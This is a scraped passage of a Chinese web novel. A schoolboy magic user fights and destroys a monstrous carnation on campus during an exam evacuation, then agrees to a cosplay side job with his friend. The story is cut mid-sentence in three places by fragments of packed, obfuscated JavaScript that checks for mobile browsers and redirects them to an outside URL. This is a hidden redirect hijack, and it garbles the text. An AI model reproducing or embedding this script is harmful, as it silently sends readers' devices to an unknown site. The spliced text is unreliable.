两个监考老师没等第二遍广播说完,就已经回到了教室中间,大声说道:“放下笔,别管书包,跟着郑老师出门,不用慌,别挤,注意脚下!” 头顶的广播,加上教室里老师的表现,让所有学生都意识到事情好像并不简单,只是无论怎么打听,老师的嘴就跟蚌壳一样,咬得死紧,什么都不说,只让他们抓紧时间转移。 考号靠后的考场,因为不服管教的学生也多,好多人看热闹不嫌事大,导致撤离的速度慢许多,反倒是头部考场的人,虽然楼层高,结果却是最早抵达东校区的一拨人。 温朗自然也在这拨人里。 他其实也并不清楚到底发生了什么,只是在意识到“有危险发生”这件事后,他不由得就想起了上个月在海边发生的事,心下一慌,就想回去找罗乐安。 然而他刚想返回西校区,就被也刚到的班主任叫住了。 “温朗,你帮老师维持一下秩序,老师还得过去看看情况怎么样了。” “……好。孙老师,到底发生什么了?” “没事儿,你别管,就待在这儿管一下学生就行。老师先过去,这群屁猴子就交给你了!” 最终,温朗还是留在了东校区,举着大喇叭配合年级主任工作,安抚越聚越多的同学。 好在没过多久,他就在新一批到来的学生中看到了熟悉的身影。 任穗。 他记得罗乐安说过,跟她是一个考场,所以既然对方已经过来了,那乐乐…… 人呢? 看到那群学生已经被老师初步归置好,温朗忙穿过熙攘的人群,快步走到了任穗面前。 “乐乐呢?他不是跟你一个考场吗?” 任穗人也有点慌,还没从这莫名其妙的“迁移”活动中反应过来,见温朗站在自己面前,也愣了好几秒才从怔愣中回过神。 好在醒过来后,她很快就意识到问题了。 “乐乐……乐乐!乐乐去买咖啡了,结果一直到开考都没回教室——他没过来吗?那他,他……” “他还在西校区。” 温朗的声音低沉无比,还透着些许难以分辨的怒火。 “常映月在旗杆那边,”他深吸了口气,压住心里的火,“你过去找她吧,别乱走。” 说罢,他将手里的喇叭塞到任穗手上,转身大步离开。 35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16246196|176346||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' >任穗看着手里的喇叭,眨了眨眼,猛地抬头。 “你……你要去哪儿?” 然后,她就见已经走远的人回过头,逆着光。 “去找他。” 只是温朗说得很潇洒,行动却并不顺利。 老韩头正守在东校区的西门处,势必不会允许一个学生出现在逆行者的队伍中,更别说温朗这种整个湖灵高中瑰宝一样的人了。 “可是我……我朋友还在那边,我担心他!” “我知道你担心,但是你放心,那边有老师在,教室里的同学已经差不多都过来了。” “但是我朋友,好像不在教室里!” “没关系,外面的学生也有老师在组织,情况没有很糟糕,小问题,小问题。” 听到这里,温朗低下头,掩住自己有些发红的眼角,深吸了一口气后,重新整理好表情,抬起头来。 “韩老师,请问到底出了什么事?如果真的是‘小问题’,不可能会这么突然就中断考试,而且什么解释都没有。” 老韩头闻言也叹了口气。 他看过监控跟现场视频,所以清楚到底发生了什么,然而直到现在还是很难相信,如果不是食堂前面空地上的那几条裂缝是真实存在的,考试说不定还会继续下去。 不过要说问题很大好像也不准确——毕竟除了那几条裂缝,好像也没有其他实质性的伤亡发生。 当然,这是好事。 “怎么说呢?” 一向脾气火爆的老韩头摸了摸不是很繁茂的头顶,难得有些局促。 “我很难跟你描述这个画面。” 的确是很难描述。 不仅是老韩头,还留在西校区的那些人,也是同样的想法。 因为,他们都是第一次,在现实的三次元,观看“风筝”打法。 风筝,是那个花一样的怪物。 放风筝的,是那个传说中的“手柄侠”。 是的,虽然只刷了两次脸,但还是有人成功把罗乐安认出来了。 然而他现在并没有精力去开心,甚至都没有功夫去纠正“手柄侠”这个让他深恶痛绝的称呼。 他还在专心致志“放风筝”。 他从来没觉得自己童年时期那么喜欢的娱乐活动,如今会这么让人糟心。 就在刚刚,在他用XXXXXL码的盾反成功将谵蘖击倒在地后,扬起的除了尘土,还有红雾。 谢天谢地,攻击奏效。 自己,不,是丧丧,终于能吸收到能量了! 罗乐安想一鼓作气,不过自己现在已经没什么能用的攻击手段了,只能徐徐图之。 谵蘖倒下后,他先是补了几发冰冻箭,可在对方撑着叶子,将枝叶表面的薄薄冰层挤压碎裂重新立起来后,他知道自己排除了一个错误选项,便射了三发火焰箭,接着迅速向操场跳去。 先转移战场吧。 而谵蘖在用叶子拍散花茎上的三撮火苗后,也如他愿地朝向操场挪了过去。 很顺利。 然而明明一切都还很顺利,可当罗乐安站在球门框上时,心里却倏地涌上了一股不祥的预感。 远处的天边不知什么时候飘来了一大片云,乌压压地朝着湖灵高中的方向盖了过来,莫名有种风雨欲来的感觉。 32. CARNATION⑦ 因为盾的磨损度归零,所以罗乐安的左手要空个10分钟。 因为剑的能量全部耗尽,所以他的右手也要缓个10分钟。 于是,两手空空的他,放风筝的唯一手段,就是在前面逃一阵,躲过朝自己飞来的花瓣飞镖,然后冷不丁地回头放一记冷箭,接着继续逃。 他逃,它追,他插翅难飞。 ber! 他俩到底谁放谁啊! 只是抱怨归抱怨,仇恨还得拉,命也得逃。 好在CD时间只有10分钟,也就一个课间的工夫。 原本,他真的是这么想的。 只是平时10分钟上个卫生间都经常来不及,为什么这次会这么漫长呢?! 不过再漫长,也终有到头的时候,CD时间一结束,站在还健在的路灯上的罗乐安,立刻转身,复刻上一波的操作。 成功击倒。 “呼……” 喘了几口气,他本想再歇会儿,结果就看到倒地的谵蘖又要挣扎立起来,他只能把差点就好曲腿坐下的双腿拔直,召唤弓箭磨磨血条,然后转身继续跑。 他终于察觉到不对劲的地方在哪儿了。 技能有CD,但策略没有。 谵蘖不灭,风筝不止,奔跑不息。 他是夸父吗他! 感觉再这么跑下去,他累倒是不会累坏,但一定会岔气啊喂! 伴随着操作的越来越“机械化”,罗乐安的心理活动也越来越多,越来越偏。 结果,就应验了。 他真岔气了。 左肋隐隐作痛,而他也被这来自他自己的突然袭击搞得有些分神,脚被一道裂缝绊了一下,整个人“PIA叽”就跪下了。 然而背后的飞镖,并不会因为他的失误而暂停“派送”,依旧义无反顾地朝着他飞来。 幸好就在罗乐安即将要被扎成刺猬的时候,CD时间结束了,他一个翻身将盾牌召唤出来,立在身前。 “哒哒哒哒哒……” 听到飞镖砸中的声音终于消失,他心里松了口气,正准备悄悄探出脑袋看看情况,就感觉后背的寒毛突然竖起,蠢蠢欲动已经马上就要探出去的呆毛立马缩了回去,右手一撑脚一蹬,一个后跳跃出去七八米。 落地后,伴随着“砰”一声巨响,罗乐安后背的“恐怖预警”也消失了。 他收起盾,就见自己刚刚所在的地方出现了一个深坑,明显是被花冠砸出来的。 只是让他没想到的是,造成深坑的“人间凶器”并没有脸埋在深坑里,而是已经挺在了半空中。 这行动速度…… 明明没过几秒,一向动作迟缓的克系康乃馨怎么脊椎突然变得这么灵活了? 然后,行动速度从骨折复健进化到老太太抢饮料瓶那种小跑的谵蘖,用实际行动证实了罗乐安的猜想。 “靠!血越薄越疯——它是抖M吗?” 虽然骂得很狠,可并不影响他逃得潇洒。 毕竟盾反机会珍贵,用一次要等,不,是要跑十分钟,所以还是要用到刀刃上,寻得最佳时机才行。 罗乐安一边跳,一边在寻找最佳的反击时机,同时还不忘在脑袋里面发弹幕吐槽。 至于又一次分神的后果,是可以预见的再次摔倒。 只是这一次到眼前的不再是飞镖,而是克系深渊大口,他当下也顾不得什么时机不时机了,立马调动右手柄中的魔力,滚地一圈后,在身前张开了那面巨大的盾牌。 然后就在下个瞬间,他感受到一股巨大的力量重重地砸到了身前的盾牌上,强度之大,他甚至感觉身下的地面又往下陷了陷。 而雪上加霜的是,盾牌虽然接住了这记攻击,却也开始闪烁了起来。 药丸! 如果不在盾牌崩溃前脱身,他的结局大概率也跟身下这千疮百孔的操场一样,惨不忍睹。 罗乐安双脚蹬地,想要借此将身前的力量顶回去,就像之前在商场里那次一样。 然而虽然同样都是变异的花,可康乃馨的头槌,明显要比风铃草的枝条厉害得多。 他已经感觉不止是盾牌在闪烁,他颤抖的身体,似乎也开始闪烁倒计时的光芒了。 怎么办? 怎么办! 就在罗乐安脑袋越来越混乱,支撑的信念也越来越薄弱的时候,一个声音在他耳边炸开。 “加油啊!手柄侠!你一定能打败它!” 那是一个自己有些陌生的女声,可又好像并不是从未听过。 他眼珠微微转动,用余光瞥见了一个发梢微卷的短发少女。 周羽嘉。 又不仅仅只有周羽嘉。 “站起来啊,手柄侠!” “你可是超级英雄啊!” “该不会真是炒作吧?动漫里那些魔法少女不都很容易吗?” “……所以到底是超级英雄还是魔法少女啊?应该不是铠甲勇士或者奥特曼吧?” “唔,看服装,应该不是。” …… 是还没有撤离的“散装学生”,一个个地从老师的“围捕网”里漏出来,聚集在食堂前面的空地上,抻着脖子往操场看。 纷纷扰扰,且嘈杂。 ber! 你们真的是高三生吗? 未免也——太松弛了吧!!! 而且,你们这说的都是什么混账话! 罗乐安心里一开始的确涌出了感动,但很快就被如岩浆般喷涌而出的糟心怒火所掩盖。 怒催力生。 双臂猛地挺直。 “老子……不叫‘手柄侠’!” 力随怒涨。 双脚猛地下蹬。 “我是‘L-RAether’,是拯救世界的魔法使啊——” 伴随着一声饱含生气的怒吼,围观群众们就看到原本几乎被压得和地面平行的盾牌一下被举到了45°角,然后下一秒,盾牌一震,紧接着就化为蓝色光点消失了。 所有人的脸色瞬间都垮掉了,连原本还在讨论手柄侠“作品类别”归属的几个人都傻了。 “我、我我我刚刚说炒作是乱说的……呜呜呜我还不想死呢……” “现在、现在写遗言还来得及吗?” “写什么遗言啊!跑啊!!!” 随着一声“跑”的指令,看热闹的学生们终于醒悟,急忙往校门跑去。 不过还没跑几步,就听到了“砰”一声巨响,声音之大,他们甚至感觉地面都产生了震动。 回头一看,就见刚刚还姿态嚣张的变异食人花,此刻已经仰躺在操场上,周身弥漫着红雾,和周围的绿荫一起,在阴沉的天色下显得格外诡谲。 但不管怎么说,貌似是可以撤回一个生命危险了。 庆幸劫后余生的不止观众,还有罗乐安本人。 他也没想到这次的回击效果会这么好。 明明盾牌和第一次一样有磨损,可效果不仅没打折——谵蘖被打倒后一直没反应,像是被揍懵了一般——似乎还给了赠品。 溢出的能量之多,他甚至都有一种丧丧吃撑了的感觉。 不过应该不是错觉。 因为他还没感慨完,就感觉胸口一热,双手一沉,弓与箭又出现在了他的手上。 艳丽的红光散去,一枝混着一缕缕幽幽蓝色的红色箭矢露出真容。 “新技能?还是红色的,升级‘喷火枪’了吗?” 丧丧并没有直接回答他。 「试着从内部破坏吧。」 内部? 罗乐安眼睛一转,立马明白了对方的意思。 倒地的谵蘖此时正狼狈地挥舞着叶子,花冠中心的花蕊触手也乱窜着,没了之前的肆意妄为,更多的是气急败坏。 【好疼啊!】 【好痛苦啊!!】 【消失吧……消失吧!消失吧——】 脑袋里的嘶吼声越来越大,也越来越刺耳。 但是罗乐安这个时候也没心思去研究这个,他只有一个念头。 趁它病,要它命! 他,可不想再继续“放风筝”了!!! 想到这里,他环顾了一下四周,最后还是选了熟悉的路灯杆,一跃而上。 这地方离谵蘖近,同时足够高。 最适合狙击了。 就 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16259390|176346||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 在他选定好位置的时候,倒地的谵蘖终于爬了起来,花冠疯狂乱甩,花瓣飞镖四处飙射,整个人,呸,整枝花像是陷入了癫狂。 反倒是一向爱上头的罗乐安,此刻镇定无比,看着对方几乎和自己齐平的大脑袋,他觉得自己还是不够高。 然后,他看到了不远处那个高杆照明路灯,毫不犹豫就跳了过去。 虽然还是不太满意,可条件就这样,也只能接受。 确定周围没有更高的设施后,罗乐安深吸一口气,右脚一蹬,人却没有朝下跳,而是再次腾空。 这一跳,他试图调动一直盘亘在胸口的力量,并且成功了。 热流涌向双脚,让他跳得比之前更高,足足有二十多米。 简直像是在脚底装了个喷射机。 不过他现在可没心情吐槽这个,在成功跃上四十米高空后,他拉开弓,蓄满全部魔力后,将那支点缀着幽蓝的红色箭矢,狠狠射向了谵蘖张开的花心。 红蓝相间的光破空而出,在谵蘖反应过来前,没入了花心。 随后,沉默了大概三息后,伴随着“轰”一声巨响,火光自花心中冒出,整枝花被炸得四分五裂。 原来是爆炸箭。 “L-R同步!域外之物,消散!” 【痛啊!痛啊……】 蓝光弥漫。 红雾渐歇。 乌云退散。 和平重新降临。 为了保持一个魔法使应有的神秘感,罗乐安捡起其貌不扬但跟拳头一样大的花种后,原本打算和之前一样,在众人反应过来之前低调离开,然而还没等他转身,余光就瞧见树林边的一个人影。 是摔倒的周羽嘉。 大概是刚刚的爆炸余波冲击到了她,对方跌坐在一棵树下,想要扶着树站起来,却不料牵扯到了脚上的伤,疼痛瞬间让她的额头布满了汗水。 “丧丧。” 罗乐安停下离开的脚步,“这次能量应该很充足吧?” 「嗯。」 “有治愈的魔法吗?” 「有。」 “那我要用。” 「好。」 丧丧没有任何犹豫和讨价还价,爽快地就像个亿万富翁。 而得到肯定答复的罗乐安没再说话,只是快步走到了周羽嘉身边。 附近看热闹的那些学生,有些反应快的已经往这边过来了,他得快点离开。 只是当他站在女生面前,还没来得及动作时,对方却先一步开口。 “之前谢谢你,但是,我想说……我想说我没有轻生的想法,只是太难受了。” 听到她的话,罗乐安有点点想笑,不过为了维持自己高冷神秘的形象,他鼓了鼓腮帮子,硬是压住了笑意。 他蹲下身,右手虚虚覆上周羽嘉受伤的右脚,就见一团暖洋洋的白光自他掌心飘出,没入到后者的身体中。 脚,好像不疼了。 女生惊喜地摸了摸自己的右脚,发现并不是错觉,之前那种丝丝缕缕一直在折磨自己的疼痛感,真的消失了。 “你……” 她抬起头想要道谢,却发现自己面前已经没有人了。 也不知道是什么时候离开的。 罗乐安自然是趁着周羽嘉沉浸式感动的时候,悄然离开的。 事了拂衣去,深藏功与名。 “啊,我可真是太无私,太帅气了~是不是,丧丧?” 「的确很无私。」 “是吧是吧……emmm……是我的错觉吗?我怎么总觉得你话里有话啊?是不是在阴阳怪气我?!” 「没有。不过有个事情我要告诉你,你别激动。」 “啊?什么事儿?别告诉我你又要死机!” 「不会死机。就是刚刚的魔法消耗比较大,增强记忆力的魔法你暂时又没有办法使用了。」 “哦,你说这个呀,没关系,反正我……” 说到这里,罗乐安突然收声,脸上洋洋得意的笑容也“歘”一下消失了,瞳孔放大,高光消失,整个人瞬间就变成了失去灵魂的二次元纸片片。 他,好像知道之前那股不祥的预感,到底是什么了。 33. HYDRANGEA① 月考正式取消了。 赌约也相应消失了。 稳赢的局面彻底破碎了。 所以罗乐安忙活月余,归来仍是穷鬼。 他得知这个惨绝人寰的消息时,正在自己卧室里上网课。 整个高三(16)班,一共四十九个人,在听到平板屏幕里班主任宣布此讯后,有四十五个人都爆发出了热烈的、由衷的、根本不在乎班主任死活的欢呼声,剩下的四个人则在一片嘈杂中,默契地发出了两个音节。 “Ohno!!!” 这四个人,其中三个是班里的成绩前三,还有一个,自然就是罗乐安了。 而他的这个反应,极大取悦了屏幕那边的班主任,兼数学老师。 「吵吵什么!」 一个明明气质温柔嗓门和声量却极高的女声在网课直播间炸开。 「一听不用考试就乐成这样,能不能有点高三生的自觉啊!看看人家罗乐安,听见考试取消的第一反应是拒绝,你们就不能有点人家的觉悟吗?笑笑笑,就知道笑!瞧瞧你们放假回来之后那数学成绩,能不能争点气!学学罗乐安,直接从及格线拉到良好,你们……」 隔空收获到了无数怨念的罗乐安,对于班主任余老师的夸奖,并没有表现出什么喜悦之情,他正在镜头的拍摄不到的死角里,回复任穗跟机关枪一样“嘟嘟嘟嘟”络绎不绝的消息。 那是一个自己和“岁月”组合的专用群,也是少见的没有被屏蔽的群。 群里的聊天内容五花八门,涉猎极广,经常是天一句地一句的。 之前的记录还是早上任穗就“学校里突然出现的怪物和神秘人”发表的各种猜想,如今就被她八百里加急的震惊给全都顶了上去。 穗穗子一辈子不想画画了:「老罗!」 穗穗子一辈子不想画画了:「你no什么no啊!」 穗穗子一辈子不想画画了:「吃错药了?」 穗穗子一辈子不想画画了:「把我的儿砸还回来.jpg」 今天也在拯救世界:「……别总刷屏。而且你不懂,这是我唯一的机会!」 穗穗子一辈子不想画画了:「啥意思?你不参加考试胡阿姨就要和你断绝母女关系了?」 今天也在拯救世界(财力被封印版):「……」 今天也在拯救世界(财力被封印版):「看我名字。」 回完这句,微信终于消停了。 可这份安静也只持续了不到十秒。 穗穗子一辈子不想画画了:「乐乐,你缺钱啊?」 穷鬼没力了让世界崩坏吧:「老穗,你肯定没见过价值一千多块钱的花盆。」 穗穗子一辈子不想画画了:「见过啊,我家花园里几千块的都有啊~」 穷鬼没力了让世界崩坏吧:「……拉黑吧!」 穗穗子一辈子不想画画了:「哎呀哎呀我错了还不行嘛~说正经的,你要不要考虑接高中生涯的最后一单呀?」 穷鬼没力了让世界崩坏吧:「啥?」 穗穗子打算当金主:「看我名字。」 穷鬼没力了让世界崩坏吧:「你又接活了?你是真的没把高考放在眼里啊,大小姐。」 穗穗子打算当金主:「哎呀,你别啰嗦,就说干不干吧!」 三秒后,罗乐安发来了答复。 我爱打工,打工让我□□富足:「大小姐,听您差遣。」 对话到这里就告一段落了。 倒不是他俩想结束,主要是其他四十七块屏幕的喧闹已经结束,在余老师的温柔高压下,所有人开始乖乖做卷子。 然后,在看到卷子的那一瞬间,罗乐安刚平息的悲痛感又涌了出来。 卷子是昨天提前放学的时候发的众多试卷中的一套,当时只说停课两天,所以这些试卷是两天线上课和三天假期的任务。 这种布置他很熟悉了,因此痛苦的不是做卷子,而是做的卷子。 就是被迫取消的月考的那一套。 关键是在大概扫过前面的选择填空后,他发现自己都会——这跟人死了钱没花完,有!什!!么!区!别!呢!!! 这一刻,他对谵蘖的恨意,绝对可以说是达到了珠穆朗玛峰。 不过两个小时后,在跟着老师对完答案,看着自己价值122分的数学卷子,他的“恨意值”又大幅度刷新了。 这种痛苦,持续了整整一个上午,直到中午吃到温朗专门给他做的甜口厚蛋烧,才终于有所减缓。 “阿朗……” 罗乐安左手的叉子举着黄澄澄的厚蛋烧,晶莹的小鹿眼眨巴眨巴地看着做咖啡的大厨,努力将自己的内心通过“秋波”传递出去。 “怎么了?” 温朗正在给自己的咖啡挤奶油,听到罗乐安的声音,抬头微笑道。 “我是想说……你人真好~” 大眼睛继续眨巴眨巴。 “谢谢。” “我是说,你特别好,特——别大方,真的!” “谢谢,我也觉得我很好。” 说罢,温朗嘴角含着一抹有些顽皮的笑,低头喝了口咖啡。 “……” 见他完全不接自己的话茬,罗乐安原本上扬的表情,瞬间整个垮掉。 但还是不能放弃,只要有一丝机会,他就不会停下赚钱的脚步。 他重振精神。 “我上午做了一张数学卷子~” “哦?” “考了一包二十二分呢~” “哇!这么厉害?乐乐好棒,给你鼓掌~” 夸完,温朗还放下杯子,特别认真的鼓了鼓掌。 可是,这根本不是罗乐安想要的! 他气鼓鼓地把厚蛋烧塞进嘴里,表情凶残,宛如仓鼠一般的腮帮子一动一动的,似乎是想把温朗揉吧揉吧塞嘴里,和鸡蛋一起嚼了。 “温朗,你真没劲,没劲透了!” 没劲透了的温朗喝完咖啡,脸上的表情依旧是明白一切的坏笑,走过来拍了拍罗乐安因为生气而格外蓬松的小脑瓜。 “别气别气,等我生日那天请你吃大餐,可以吗?” “别以为,”罗乐安猛猛摇头,躲开头顶的手,口齿不清,“一顿饭……miamiamia……就棱啊慰喔搜桑嘟吸情……” “那就再加一顿甜品自助?” 听到这话,大毛支棱了一下。 “行叭。” “好,那我就先回去了,杯子帮我洗一下。” 嗯? 罗乐安瞪圆眼睛,就见这人毫不犹豫地离开了自己家,转回头看着放在自己面前的咖啡杯,表情悲愤。 就该让老韩头看看,看看他最引以为豪的、无所不能的、人人都夸的挚爱门生,私底下到底是什么混不吝的样子! 他知道温朗知道自己刚刚是想要说什么,可就是装傻不搭茬,绝口不提那个赌约。 真狗啊! 果然男人都狗! 狗都不如! 骂爽了,罗乐安也反应过来他刚刚把自己也骂了,忙伸手打了下嘴巴。 而任穗刚好在这个时候给他发了语音通话,他放下手里的叉子和心里的怨念,优先回应“金主妈妈”的来电。 “喂~穗 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16263543|176346||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 穗呀~你有什么指示呀~” 「……老罗你正常点,别这样,我冷。」 “……” 真是抛媚眼给瞎子看。 不过有钱的是“大娘”,任穗怎么要求,那他就怎么做咯。 “找我干嘛?长话短说哦,我还要午睡呢。” 「午睡比赚钱还重要吗?」 “有啥指示?您详细说。” 「我就想问问,温朗跟你一起来不呀?」 “他那天生日,应该没空吧——而且我现在正烦他呢,根本没打算邀请他。” 「那你还是先别烦他,我劝你邀请一下他。」 “啥?” 「小月假期家里有事,没办法跟你搭档了。」 “唔……” 「但是我的产品必须完整,没有离异不能丧偶,你懂得吧?」 “行叭,穗穗子太太最伟大,你说什么就是什么——那我晚上问问吧。” 「好嘞,那我让服装师加急改尺寸,等你的好消息哟~」 “……” 挂了电话,罗乐安叹了口气。 这次“打工”,他原本就先要解决一个胡女士,现在又多了一个要解决的人。 但是没办法,谁让他穷呢。 于是,在晚饭过后,他借口要请教温朗功课,正大光明地去了对方房间。 “我那厚蛋烧里没下药啊,怎么都不考试了,你还这么用功啊?” 原本还体面微笑的罗乐安,在听到温朗的调侃后,腮帮子一下子就炸起来了。 “你要是不会说话就别说!我走了!” 眼看两根呆毛都要炸开了,温朗知道不能再逗了,忙把人拽住,连连道歉。 “我错了,我错了。不提考试,不逗你了。原谅我,好吗?” 罗乐安知道温朗的魅力一直很大,却还是第一次如此深切地感受到。 对方剑眉如墨,眼似深潭,眼眸中流转着春风一般的柔情,被这样的一双眼睛看着,别说是女生,就算是他这种正——直无比的男生,也很难不被折服。 因此,在这种深情款款的软刀子攻势下,罗乐安到底还是撒火了。 不过必须得趁着这个机会敲点东西,难得对方给自己留了口子,他怎么都不能错过。 “光口头道歉就完了?” “要不,我再请你吃一顿日料吧。” “难道我在你眼里,就是一个只知道吃的人吗?” 温朗:“……” 说这话的时候,要不要先克制一下你头顶上花枝乱颤的大毛呢? 他很想这么说,但他也清楚,要是真这么说了,那自己至少要失去罗乐安足足半个月。 傻子都知道该怎么选。 “那你想要我怎么办呢?” 瞧见温朗嘟着嘴巴冲自己卖萌,关键是还一点都不油腻,罗乐安也拿不住乔了,开始进入正题。 罗乐安(傲娇):“其实你要做的事情很简单。” 温朗(宠溺):“什么事?” 罗乐安(目移):“你生日那天,陪我去个地方。” 温朗(挑眉):“嗯?” 罗乐安(望天):“……漫展。” 温朗(眯眼):“哇——哦~” 听到这阴阳怪气到极点的、拖得长长的两个音节,罗乐安条件反射地怂了,整个人不受控制地打了个哆嗦。 然后他就听到自己那位冷酷到极点的竹马,毫不客气地就转换了主客体。 “你的要求,应该不止是让我陪你去逛漫展这么简单吧?说说吧,你的完整计划,是什么。” 34. HYDRANGEA② 罗乐安的打工计划,其实就是接cos委托单。 这活儿他还算是熟,他赚零花钱的主要渠道就是这个,已经干两年多了,只不过单主一直都是固定的。 就是任穗。 “穗穗子”算是绘圈这几年很火的太太,同人产出数量多质量高,广受好评。 不过她作品里热度最高的,还属前年年年初自割腿肉的OC,一对古风CP,高冷少爷和憨直书童。 这种“没头脑和不高兴”的组合并不算新奇,但也有很多受众。 而且任穗的画工本身就好,加上她那些四格里的故事细腻真实,还总有很多萌点怪怪的小冷梗,所以捧场的读者还是不少的。 不过真正让其出圈的,还是在去年寒假的时候,任穗在微博上晒出的一组cos照。 少爷是真高冷,书童也是真的憨憨。 毕竟常映月拥有高冷经验十余年,而罗乐安,也是真的是一个货真价实的——缺心眼。 从那之后,任穗连人带画,以及两个打工的业余coser,都小红了。 每次漫展摆摊,别人除了本子还会带一堆各式各样的无料,而她,除了本子,主要就带俩“门神”。 这也算是她的传统了,就算挖了新坑,俩御用门神也都一直在,只不过会根据售卖本子的不同,更换不同的皮肤。 原本罗乐安和任穗已经约好,上了高三之后暂退圈一年,专心备考。 奈何一个穷,且因为最近成绩的进步有点点飘,另一个则有家庭兜底,高考不是唯一出路,因此还是决定在压力没那么大的时候,最后再乐呵一次。 只可惜,御用“攻役”月凛,也就是常映月,放假这几天刚好要去给奶奶过生日,漫展当天回不来,任穗只好给罗乐安物色一个新搭档。 中午他俩通话的后半段,就是在就这个事展开了具体讨论。 「这次的主推本子是我年初画的那个新故事,天才发明家和自己制作的仿生机器人,你的服装就很简单,人设也不用变,维持缺心眼的状态就行……」 罗乐安听到这儿,没忍住,翻了个超超超——大的白眼,要不是任穗还是自己的金主妈妈,他绝对要骂人的。 不过还没等他平复完怨念,突然从对方的话里捕捉到了一个关键信息。 “你等会儿!你说这次要出的是仿生人那个?” 「对啊~这次可是首秀,所以还是不能马虎的,仿生人那个服装我老用心……」 “问题就是这个服装啊——我记得你画的是那种紧身的服装吧,那小月根本没办法穿着出攻役了啊,就算她穿十厘米的厚底鞋也没用啊!那你之前准备的服装,到、底,是给谁准备的?” 他说完,手机那头突然沉默了,隔了大概十秒钟,任穗那明显带着心虚的声音才又传了出来。 「咳,其实吧,我马上就要跟你说了,那什么……其实吧,那什么,你也懂……」 “曲老师知道自己的语文课代表词汇这么贫瘠吗?” 「行,那我实话跟你说了吧,其实就算小月有空,我原本也打算给你换个『老攻』。」 “……ber,你好好说话,别整得那么‘道德沦丧’!” 「行行行,突然这么矜持弄得我都不习惯了。」 “哥屋恩!” 「注意态度哦,跟谁这么喊呢?」 “……您继续说。” 「你这一年不是又长高了一点嘛,小月有点压不住了。其实寒假的时候我就发现了,虽然你一如既往没脑子……」 “我尊敬你不是让你来对我进行人身攻击的好吗?” 「……但是小月跟你的CP感也的确越来越弱了,所以我决定,在你俩彻底变成CB之前,再给你找一个~」 “然后你就盯上了阿朗?” 「哎呀~别说得那么猥琐——不过温朗的身材真的超级赞,和仿生人皮肤超级配的,所以你一定要加油,把他忽悠过来,只许成功,不许失败!」 “失败的话会怎么样?” 「不会怎么样,就是维持现状而已,穷,光,蛋~」 “……事情,就是这样,该说的我都说了……主谋是老穗不是我,你也不能直冲我发火……” 交代完全部“作案计划”后,罗乐安绞着手指,可怜巴巴地等待温朗发落。 “少来,就算你不是主谋,也是一级从犯,别装无辜。” 温朗揉了揉眉心,情绪很复杂,说不上生气,可也很难释怀。 “就为了区区几个零花钱,你就打算把我卖了?” 这话说完,原本还心虚的罗乐安,瞬间就小小地爆发了一下。 “什么叫‘区区几个零花钱’?!” 他气到双手叉腰,但很快反应过来自己好像也没有那——么的理直气壮,整个人便又缩了回去,抠着手指噘着嘴,声音瓮声瓮气十分之委屈。 “如果你不装傻,那我肯定不会打你,咳,□□的主意嘛……” “……中午的时候我的确是想逗逗你,可我也没说死啊,这个月的月考取消,不是还有十一月的期中考试吗?” 话音刚落,就见对面的人瞪大了双眼,满脸都是抵触。 “所以,你的努力最多只能坚持一个月是吗?” 温朗失笑叹气,然后受到了来自罗乐安的怨念攻击。 “你还笑!你都不知道我这个月过得有多惨……每天上午九点半和下午三点半我准时肚子饿,可是连买加餐的钱都没有……” 说到这里,他甚至抽了一下鼻子,委屈之情溢于言表。 “我不是都有投喂你吗?一天两次,量不够吗?” “那我也不能总用你养啊……这么大人了我都,怪难为情的……” “……你的骨气都只用在这种时候吗?” “你管我!” “行行行,”温朗说着,伸手拍了拍眼前那颗毛茸茸的脑袋,“你确定真不要我管了?漫展也不用我管了?” 嗯嗯嗯? 罗乐安眨巴眨巴眼睛,很快就反应过来这话里的深意了。 “你是说你答应了吗?答应跟我一起出cos?真的吗?” 然而对方并没有直接回答去还是不去,反倒问了个无关的问题。 “你刚刚说,你之前一直是跟常映月组CP吗?” “嘘!嘘嘘!说话要严谨哦,是我俩cos的角色是CP,我和凛酱可是非常纯洁的友情,不容玷污的!” 听到他的解释,温朗挑了挑眉,没再继续这个话题。 “行吧,那为了你空虚的胃,和若有似无的骨气,我就答应好了。” “真哒!” 罗乐安原本蔫头耷脑的脸瞬间变的眉飞色舞,“阿朗你真是个大好……” “先别着急夸,”温朗及时打断了他发来的“好人卡”,“你‘打工费’多少?” “你……你问这个做什么?” 涉及到钱的问题,罗乐安一下子又变得机警了起来。 “别紧张,就是先了解下行情。” 看温朗表情如常,罗乐安收起怀疑。 “唔……也没很多啦,就这个数。” 说着,他竖起一根手指。 其实他也并不是很清楚市场价是多少,但他知道任穗每次给他的报酬,都要偏高一些,所以他给温朗的报价,实际上还少了三分之一。 这样万一自己被坑,也不至于倾家…… “那我要你酬劳的一半 